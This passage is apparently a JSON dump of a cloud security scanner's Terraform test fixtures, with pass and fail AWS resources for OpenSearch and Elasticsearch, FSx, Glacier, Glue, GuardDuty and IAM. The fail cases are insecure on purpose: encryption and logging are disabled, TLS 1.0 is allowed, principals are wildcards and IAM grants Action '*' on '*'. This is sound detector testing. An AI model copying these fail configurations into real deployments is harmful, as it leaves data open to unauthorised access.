    "content": "resource \"aws_opensearch_domain\" \"fail\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    dedicated_master_count = 3\n    instance_type = \"r4.large.search\"\n    zone_awareness_enabled = true\n  }\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"fail2\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n    enabled=false\n  }\n  cluster_config {\n    instance_type = \"r4.large.search\"\n    dedicated_master_count = 3\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDomainLogging/main.tf",
    "content": "resource \"aws_elasticsearch_domain\" \"fail\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass2\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n    enabled = true\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"fail2\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n    enabled = false\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDomainLogging/opensearch.tf",
    "content": "resource \"aws_opensearch_domain\" \"fail\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass2\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n    enabled=true\n  }\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"fail2\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n    enabled=false\n  }\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchEncryption/main.tf",
    "content": "# pass\n\nresource \"aws_elasticsearch_domain\" \"enabled\" {\n  domain_name = \"example\"\n\n  cluster_config {\n    instance_type = \"r5.large.elasticsearch\"\n  }\n\n  encrypt_at_rest {\n    enabled = true\n  }\n}\n\n# fail\n\nresource \"aws_elasticsearch_domain\" \"default\" {\n  domain_name = \"example\"\n\n  cluster_config {\n    instance_type = \"r5.large.elasticsearch\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"disabled\" {\n  domain_name = \"example\"\n\n  cluster_config {\n    instance_type = \"r5.large.elasticsearch\"\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchEncryption/opensearch.tf",
    "content": "resource \"aws_opensearch_domain\" \"pass\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n    encrypt_at_rest {\n    enabled = true\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"fail\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"fail2\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchEncryptionWithCMK/main.tf",
    "content": "\n\nresource \"aws_elasticsearch_domain\" \"fail2\" {\n  domain_name = \"example\"\n\n  cluster_config {\n    instance_type = \"r5.large.elasticsearch\"\n  }\n\n  encrypt_at_rest {\n    enabled = true\n  }\n}\n\n\nresource \"aws_elasticsearch_domain\" \"fail\" {\n  domain_name = \"example\"\n\n  cluster_config {\n    instance_type = \"r5.large.elasticsearch\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass\" {\n  domain_name = \"example\"\n\n  cluster_config {\n    instance_type = \"r5.large.elasticsearch\"\n  }\n\n  encrypt_at_rest {\n    kms_key_id = aws_kms_key.example.arn\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchEncryptionWithCMK/opensearch.tf",
    "content": "\n\nresource \"aws_opensearch_domain\" \"fail\" {\n  domain_name = \"example\"\n\n  cluster_config {\n    instance_type = \"r5.large.elasticsearch\"\n  }\n\n  encrypt_at_rest {\n    enabled = true\n  }\n}\n\n\n\nresource \"aws_opensearch_domain\" \"fail2\" {\n  domain_name = \"example\"\n\n  cluster_config {\n    instance_type = \"r5.large.elasticsearch\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass\" {\n  domain_name = \"example\"\n\n  cluster_config {\n    instance_type = \"r5.large.elasticsearch\"\n  }\n\n  encrypt_at_rest {\n    enabled = true\n    kms_key_id = aws_kms_key.example.arn\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchInVPC/main.tf",
    "content": "\nresource \"aws_elasticsearch_domain\" \"fail\" {\n  domain_name           = var.domain\n  elasticsearch_version = \"6.3\"\n\n  cluster_config {\n    instance_type = \"m4.large.elasticsearch\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass\" {\n  domain_name           = var.domain\n  elasticsearch_version = \"6.3\"\n\n  cluster_config {\n    instance_type = \"m4.large.elasticsearch\"\n  }\n\n  vpc_options {\n    subnet_ids = [\n      data.aws_subnet_ids.selected.ids[0],\n      data.aws_subnet_ids.selected.ids[1],\n    ]\n\n    security_group_ids = [aws_security_group.es.id]\n  }\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchInVPC/opensearch.tf",
    "content": "\nresource \"aws_opensearch_domain\" \"fail\" {\n  domain_name    = var.domain\n  engine_version = \"Elastisearch_7.10\"\n\n  cluster_config {\n    instance_type = \"m4.large.search\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass\" {\n  domain_name    = var.domain\n  engine_version = \"Elastisearch_7.10\"\n\n  cluster_config {\n    instance_type = \"m4.large.search\"\n  }\n\n  vpc_options {\n    subnet_ids = [\n      data.aws_subnet_ids.selected.ids[0],\n      data.aws_subnet_ids.selected.ids[1],\n    ]\n\n    security_group_ids = [aws_security_group.es.id]\n  }\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchNodeToNodeEncryption/main.tf",
    "content": "# pass\nresource \"aws_elasticsearch_domain\" \"without_cluster_config\" {\n  domain_name = \"without_cluster_config\"\n}\n\nresource \"aws_elasticsearch_domain\" \"without_instance_count\" {\n  domain_name = \"without_instance_count\"\n\n  cluster_config {}\n}\n\nresource \"aws_elasticsearch_domain\" \"instance_count_not_bigger_than_1\" {\n  domain_name = \"instance_count_not_bigger_than_1\"\n\n  cluster_config {\n    instance_count = 1 // a value <= 1\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"node_to_node_encryption_enabled\" {\n  domain_name = \"node_to_node_encryption_enabled\"\n\n  cluster_config {\n    instance_count = 2 // a value > 1\n  }\n\n  node_to_node_encryption {\n    enabled = true\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"old_hcl\" {\n  domain_name = \"old_hcl\"\n\n  cluster_config = {\n    instance_count = 2\n  }\n\n  node_to_node_encryption = {\n    enabled = true\n  }\n}\n\n# fail\nresource \"aws_elasticsearch_domain\" \"node_to_node_encryption_disabled\" {\n  domain_name = \"node_to_node_encryption_disabled\"\n\n  cluster_config {\n    instance_count = 2 // a value > 1\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"node_to_node_encryption_doesnt_exist\" {\n  domain_name = \"node_to_node_encryption_doesnt_exist\"\n\n  cluster_config {\n    instance_count = 2 // a value > 1\n  }\n}\n\n# unknown\nresource \"aws_elasticsearch_domain\" \"instance_count_not_number\" {\n  domain_name = \"instance_count_not_number\"\n\n  cluster_config {\n    instance_count = \"not_int\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchNodeToNodeEncryption/opensearch.tf",
    "content": "# pass\nresource \"aws_opensearch_domain\" \"without_cluster_config\" {\n  domain_name = \"without_cluster_config\"\n}\n\nresource \"aws_opensearch_domain\" \"without_instance_count\" {\n  domain_name = \"without_instance_count\"\n\n  cluster_config {}\n}\n\nresource \"aws_opensearch_domain\" \"instance_count_not_bigger_than_1\" {\n  domain_name = \"instance_count_not_bigger_than_1\"\n\n  cluster_config {\n    instance_count = 1 // a value <= 1\n  }\n}\n\nresource \"aws_opensearch_domain\" \"node_to_node_encryption_enabled\" {\n  domain_name = \"node_to_node_encryption_enabled\"\n\n  cluster_config {\n    instance_count = 2 // a value > 1\n  }\n\n  node_to_node_encryption {\n    enabled = true\n  }\n}\n\nresource \"aws_opensearch_domain\" \"old_hcl\" {\n  domain_name = \"old_hcl\"\n\n  cluster_config = {\n    instance_count = 2\n  }\n\n  node_to_node_encryption = {\n    enabled = true\n  }\n}\n\n# fail\nresource \"aws_opensearch_domain\" \"node_to_node_encryption_disabled\" {\n  domain_name = \"node_to_node_encryption_disabled\"\n\n  cluster_config {\n    instance_count = 2 // a value > 1\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_opensearch_domain\" \"node_to_node_encryption_doesnt_exist\" {\n  domain_name = \"node_to_node_encryption_doesnt_exist\"\n\n  cluster_config {\n    instance_count = 2 // a value > 1\n  }\n}\n\n# unknown\nresource \"aws_opensearch_domain\" \"instance_count_not_number\" {\n  domain_name = \"instance_count_not_number\"\n\n  cluster_config {\n    instance_count = \"not_int\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchTLSPolicy/main.tf",
    "content": "provider \"aws\" {\n  region = \"eu-west-2\"\n}\n\nresource \"aws_elasticsearch_domain\" \"fail\" {\n  domain_name = \"nodetonode\"\n  domain_endpoint_options {\n    enforce_https       = false\n    tls_security_policy = \"Policy-Min-TLS-1-0-2019-07\"\n  }\n\n  cluster_config {\n    instance_count = 2\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"notset\" {\n  domain_name = \"notset\"\n\n  cluster_config {\n    instance_count = 2 // a value > 1\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass\" {\n  domain_name = \"pass\"\n\n  domain_endpoint_options {\n    enforce_https       = false\n    tls_security_policy = \"Policy-Min-TLS-1-2-2019-07\"\n  }\n\n  cluster_config {\n    instance_count = 2\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass2\" {\n  domain_name = \"pass2\"\n\n  domain_endpoint_options {\n    enforce_https       = false\n    tls_security_policy = \"Policy-Min-TLS-1-2-PFS-2023-10\"\n  }\n\n  cluster_config {\n    instance_count = 2\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchTLSPolicy/opensearch.tf",
    "content": "\nresource \"aws_opensearch_domain\" \"fail\" {\n  domain_name = \"nodetonode\"\n  domain_endpoint_options {\n    enforce_https       = false\n    tls_security_policy = \"Policy-Min-TLS-1-0-2019-07\"\n  }\n\n  cluster_config {\n    instance_count = 2\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_opensearch_domain\" \"notset\" {\n  domain_name = \"notset\"\n\n  cluster_config {\n    instance_count = 2 // a value > 1\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass\" {\n  domain_name = \"pass\"\n\n  domain_endpoint_options {\n    enforce_https       = false\n    tls_security_policy = \"Policy-Min-TLS-1-2-2019-07\"\n  }\n\n  cluster_config {\n    instance_count = 2\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass2\" {\n  domain_name = \"pass2\"\n\n  domain_endpoint_options {\n    enforce_https       = false\n    tls_security_policy = \"Policy-Min-TLS-1-2-PFS-2023-10\"\n  }\n\n  cluster_config {\n    instance_count = 2\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_FSXOntapFSEncryptedWithCMK/aws_fsx_ontap_file_system.tf",
    "content": "resource \"aws_fsx_ontap_file_system\" \"pass\" {\n  storage_capacity    = 1024\n  subnet_ids          = [aws_subnet.test1.id, aws_subnet.test2.id]\n  deployment_type     = \"MULTI_AZ_1\"\n  throughput_capacity = 512\n  preferred_subnet_id = aws_subnet.test1.id\n  kms_key_id          = aws_kms_key.test.arn\n}\n\nresource \"aws_fsx_ontap_file_system\" \"fail\" {\n  storage_capacity    = 1024\n  subnet_ids          = [aws_subnet.test1.id, aws_subnet.test2.id]\n  deployment_type     = \"MULTI_AZ_1\"\n  throughput_capacity = 512\n  preferred_subnet_id = aws_subnet.test1.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_FSXOpenZFSFileSystemEncryptedWithCMK/main.tf",
    "content": "resource \"aws_fsx_openzfs_file_system\" \"pass\" {\n  storage_capacity                = var.file_system.storage_capacity\n  subnet_ids                      = var.subnet_ids\n  deployment_type                 = var.file_system.deployment_type\n  throughput_capacity             = var.file_system.throughput_capacity\n  kms_key_id                      = var.kms_key_id\n  automatic_backup_retention_days = 0 #flag as no bckup\n}\n\nresource \"aws_fsx_openzfs_file_system\" \"fail\" {\n  storage_capacity                = var.file_system.storage_capacity\n  subnet_ids                      = var.subnet_ids\n  deployment_type                 = var.file_system.deployment_type\n  throughput_capacity             = var.file_system.throughput_capacity\n  automatic_backup_retention_days = 0 #flag as no bckup\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_FSXWindowsFSEncryptedWithCMK/aws_fsx_windows_file_system.tf",
    "content": "resource \"aws_fsx_windows_file_system\" \"pass\" {\n  active_directory_id = aws_directory_service_directory.test.id\n  kms_key_id          = aws_kms_key.test1.arn\n  skip_final_backup   = true\n  storage_capacity    = 32\n  subnet_ids          = [aws_subnet.test1.id]\n  throughput_capacity = 8\n}\n\nresource \"aws_fsx_windows_file_system\" \"fail\" {\n  active_directory_id = aws_directory_service_directory.test.id\n  skip_final_backup   = true\n  storage_capacity    = 32\n  subnet_ids          = [aws_subnet.test1.id]\n  throughput_capacity = 8\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_GlacierVaultAnyPrincipal/main.tf",
    "content": "# pass\nresource \"aws_glacier_vault\" \"my_archive1\" {\n  name = \"MyArchive\"\n\n  access_policy = <<EOF\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Sid\": \"add-read-only-perm\",\n          \"Principal\": \"*\",\n          \"Effect\": \"Deny\",\n          \"Action\": [\n             \"glacier:InitiateJob\",\n             \"glacier:GetJobOutput\"\n          ],\n          \"Resource\": \"arn:aws:glacier:eu-west-1:432981146916:vaults/MyArchive\"\n       }\n    ]\n}\nEOF\n}\n\n# unknown\nresource \"aws_glacier_vault\" \"my_archive1\" {\n  name = \"MyArchive\"\n\n  access_policy = <<EOF\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Sid\": \"add-read-only-perm\",\n          \"Principal\": \"*\",\n          \"Effect\": \"Deny\",\n          \"Action\": [\n             [\"glacier:InitiateJob\"],\n             [\"glacier:GetJobOutput\"]\n          ],\n          \"Resource\": \"arn:aws:glacier:eu-west-1:432981146916:vaults/MyArchive\"\n       }\n    ]\n}\nEOF\n}\n\n# fail\nresource \"aws_glacier_vault\" \"my_archive2\" {\n  name = \"MyArchive\"\n\n  access_policy = <<EOF\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Sid\": \"add-read-only-perm\",\n           \"Principal\": { \n            \"AWS\": [\n                \"arn:aws:iam::123456789101:role/vault-reader\", \n                \"*\"\n            ]\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": [\n             \"glacier:InitiateJob\",\n             \"glacier:GetJobOutput\"\n          ],\n          \"Resource\": \"arn:aws:glacier:eu-west-1:432981146916:vaults/MyArchive\"\n       }\n    ]\n}\nEOF\n}\n\n# fail\nresource \"aws_glacier_vault\" \"my_archive3\" {\n  name = \"MyArchive\"\n\n  access_policy = <<EOF\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Sid\": \"add-read-only-perm\",\n          \"Principal\": { \n            \"AWS\": \"arn:aws:iam::*:role/vault-reader\"\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": [\n             \"glacier:InitiateJob\",\n             \"glacier:GetJobOutput\"\n          ],\n          \"Resource\": \"arn:aws:glacier:eu-west-1:432981146916:vaults/MyArchive\"\n       }\n    ]\n}\nEOF\n}\n\n# fail\nresource \"aws_glacier_vault\" \"my_archive4\" {\n  name = \"MyArchive\"\n\n  access_policy = <<EOF\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Sid\": \"add-read-only-perm\",\n           \"Principal\": { \n            \"AWS\": \"*\"\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": [\n             \"glacier:InitiateJob\",\n             \"glacier:GetJobOutput\"\n          ],\n          \"Resource\": \"arn:aws:glacier:eu-west-1:432981146916:vaults/MyArchive\"\n       }\n    ]\n}\nEOF\n}\n\n# fail\nresource \"aws_glacier_vault\" \"my_archive5\" {\n  name = \"MyArchive\"\n\n  access_policy = <<EOF\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Sid\": \"add-read-only-perm\",\n          \"Principal\": \"*\",\n          \"Effect\": \"Allow\",\n          \"Action\": [\n             \"glacier:InitiateJob\",\n             \"glacier:GetJobOutput\"\n          ],\n          \"Resource\": \"arn:aws:glacier:eu-west-1:432981146916:vaults/MyArchive\"\n       }\n    ]\n}\nEOF\n}\n\n# pass\nresource \"aws_glacier_vault\" \"my_archive6\" {\n  name = \"MyArchive\"\n\n  access_policy = <<EOF\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Sid\": \"add-read-only-perm\",\n          \"Principal\": \"arn:aws:iam::123456789101:role/vault-reader\",\n          \"Effect\": \"Allow\",\n          \"Action\": [\n             \"glacier:InitiateJob\",\n             \"glacier:GetJobOutput\"\n          ],\n          \"Resource\": \"arn:aws:glacier:eu-west-1:432981146916:vaults/MyArchive\"\n       }\n    ]\n}\nEOF\n}\n\n\nresource \"aws_glacier_vault\" \"invalid_json\" {\n  name = \"InvalidJson\"\n\n  access_policy = <<EOF\n{\n    \"Version\":\"2012-10-17\"\n    \"Statement\":[\n       {\n          \"Sid\": \"add-read-only-perm\",\n          \"Principal\": \"arn:aws:iam::123456789101:role/vault-reader\",\n          \"Effect\": \"Allow\",\n          \"Action\": [\n             \"glacier:InitiateJob\",\n             \"glacier:GetJobOutput\"\n          ],\n          \"Resource\": \"arn:aws:glacier:eu-west-1:432981146916:vaults/MyArchive\"\n       }\n    ]\n}\nEOF\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_GlueSecurityConfigurationEnabled/main.tf",
    "content": "# pass\n\nresource \"aws_glue_crawler\" \"enabled\" {\n  database_name = \"aws_glue_catalog_database.example.name\"\n  name          = \"example\"\n  role          = \"aws_iam_role.example.arn\"\n\n  security_configuration = \"aws_glue_security_configuration.example.name\"\n}\n\nresource \"aws_glue_dev_endpoint\" \"enabled\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.example.arn\"\n\n  security_configuration = \"aws_glue_security_configuration.example.name\"\n}\n\nresource \"aws_glue_job\" \"enabled\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.example.arn\"\n\n  security_configuration = \"aws_glue_security_configuration.example.name\"\n\n  command {\n    script_location = \"s3://aws_s3_bucket.example.bucket/example.py\"\n  }\n}\n\n# fail\n\nresource \"aws_glue_crawler\" \"default\" {\n  database_name = \"aws_glue_catalog_database.example.name\"\n  name          = \"example\"\n  role          = \"aws_iam_role.example.arn\"\n}\n\nresource \"aws_glue_dev_endpoint\" \"default\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.example.arn\"\n}\n\nresource \"aws_glue_job\" \"default\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.example.arn\"\n\n  command {\n    script_location = \"s3://aws_s3_bucket.example.bucket/example.py\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_GuarddutyDetectorEnabled/main.tf",
    "content": "resource \"aws_guardduty_detector\" \"pass\" {\n  enable = true\n  tags   = { test = \"Fail\" }\n}\n\nresource \"aws_guardduty_detector\" \"pass2\" {\n  tags = { test = \"Fail\" }\n}\n\nresource \"aws_guardduty_detector\" \"fail\" {\n  enable = false\n  tags   = { test = \"Fail\" }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMAdminPolicyDocument/iam.tf",
    "content": "resource \"aws_iam_policy\" \"pass1\" {\n  name   = \"pass1\"\n  path   = \"/\"\n  policy = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"s3:ListBucket*\",\n        \"s3:HeadBucket\",\n        \"s3:Get*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": [\n        \"arn:aws:s3:::b1\",\n        \"arn:aws:s3:::b1/*\",\n        \"arn:aws:s3:::b2\",\n        \"arn:aws:s3:::b2/*\"\n      ],\n      \"Sid\": \"\"\n    },\n    {\n      \"Action\": \"s3:PutObject*\",\n      \"Effect\": \"Allow\",\n      \"Resource\": \"arn:aws:s3:::b1/*\",\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}\n\nresource \"aws_iam_policy\" \"fail1\" {\n  name = \"fail1\"\n  path = \"/\"\n  # the policy doesn't actually make sense, but it tests checking arrays for *\n  policy = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"s3:HeadBucket\",\n        \"*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": [\n        \"arn:aws:s3:::b1\",\n        \"arn:aws:s3:::b1/*\",\n        \"*\"\n      ],\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}\n\nresource \"aws_iam_policy\" \"fail2\" {\n  name   = \"fail2\"\n  path   = \"/\"\n  policy = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": [\n        \"*\"\n      ],\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}\n\nresource \"aws_iam_policy\" \"fail3\" {\n  name   = \"fail3\"\n  path   = \"/\"\n  policy = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": \"*\",\n      \"Effect\": \"Allow\",\n      \"Resource\": \"*\",\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}\n\nresource \"aws_iam_policy\" \"fail4\" {\n  name = \"fail4\"\n  path = \"/\"\n  # implicit allow, not actually valid, but it's a default that we check\n  policy = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": \"*\",\n      \"Resource\": \"*\",\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}\n\nresource \"aws_iam_policy\" \"pass2\" {\n  name = \"pass2\"\n  path = \"/\"\n  # deny\n  policy = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": \"*\",\n      \"Effect\": \"Deny\",\n      \"Resource\": \"*\",\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}\n\n\nresource \"aws_ssoadmin_permission_set_inline_policy\" \"pass1\" {\n  instance_arn       = aws_ssoadmin_permission_set.example.instance_arn\n  permission_set_arn = aws_ssoadmin_permission_set.example.arn\n  inline_policy      = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"s3:ListBucket*\",\n        \"s3:HeadBucket\",\n        \"s3:Get*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": [\n        \"arn:aws:s3:::b1\",\n        \"arn:aws:s3:::b1/*\",\n        \"arn:aws:s3:::b2\",\n        \"arn:aws:s3:::b2/*\"\n      ],\n      \"Sid\": \"\"\n    },\n    {\n      \"Action\": \"s3:PutObject*\",\n      \"Effect\": \"Allow\",\n      \"Resource\": \"arn:aws:s3:::b1/*\",\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}\n\nresource \"aws_ssoadmin_permission_set_inline_policy\" \"fail1\" {\n  instance_arn       = aws_ssoadmin_permission_set.example.instance_arn\n  permission_set_arn = aws_ssoadmin_permission_set.example.arn\n  inline_policy      = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"s3:HeadBucket\",\n        \"*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": [\n        \"arn:aws:s3:::b1\",\n        \"arn:aws:s3:::b1/*\",\n        \"*\"\n      ],\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMCredentialsExposure/main.tf",
